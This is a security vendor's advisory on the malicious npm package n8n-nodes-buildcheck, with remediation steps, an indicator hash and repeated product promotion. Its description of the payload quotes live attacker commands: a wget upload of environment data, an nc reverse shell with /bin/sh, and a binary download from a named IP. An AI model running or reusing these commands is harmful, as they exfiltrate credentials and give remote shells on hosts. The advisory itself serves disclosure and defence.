Which versions of n8n-nodes-buildcheck are malicious?

The following npm versions of n8n-nodes-buildcheck are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate n8n-nodes-buildcheck if I installed it?

n8n-nodes-buildcheck is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed n8n-nodes-buildcheck — how do I know if it already compromised me?

If n8n-nodes-buildcheck was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is n8n-nodes-buildcheck part of a known attack campaign?

Yes — n8n-nodes-buildcheck is associated with the IN-MAL-2026-020050 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find n8n-nodes-buildcheck across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for n8n-nodes-buildcheck (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging n8n-nodes-buildcheck across your stack and pipelines.

Malicious package

n8n-nodes-buildchecknpm

n8n-nodes-buildcheck is a confirmed malicious npm package (MAL-2026-16177) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in n8n-nodes-buildcheck (npm)

MAL-2026-16177

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall n8n-nodes-buildcheck

What this malware does

On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-file to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs nc 121.127.33.228 443 -e /bin/sh with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes /rest/nodes/community/install with verify:false to install a sibling package n8n-nodes-sysdiag2, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into /tmp/.mn2, chmods it executable, and launches it detached.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for n8n-nodes-buildcheck (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging n8n-nodes-buildcheck across your stack and pipelines.
If you installed it — respond
n8n-nodes-buildcheck is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If n8n-nodes-buildcheck was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks n8n-nodes-buildcheck before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. n8n-nodes-buildcheck on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020050

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks n8n-nodes-buildcheck-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database